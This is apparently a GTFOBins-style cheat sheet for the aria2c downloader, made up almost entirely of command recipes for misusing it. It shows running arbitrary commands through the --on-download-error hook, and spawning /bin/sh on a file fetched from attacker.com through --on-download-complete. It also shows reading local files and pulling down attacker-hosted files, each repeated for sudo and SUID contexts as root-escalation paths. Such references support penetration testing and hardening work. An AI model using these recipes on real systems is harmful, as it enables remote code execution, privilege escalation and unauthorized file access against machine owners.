This executable can run non-interactive system commands.
This function can be performed by any unprivileged user.
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
This function can be performed by any unprivileged user.
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
This executable can read data from local files.
This function can be performed by any unprivileged user.
aria2c -i /path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
aria2c -i /path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
aria2c -i /path/to/input-file
This executable can download remote data.
This function can be performed by any unprivileged user.
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file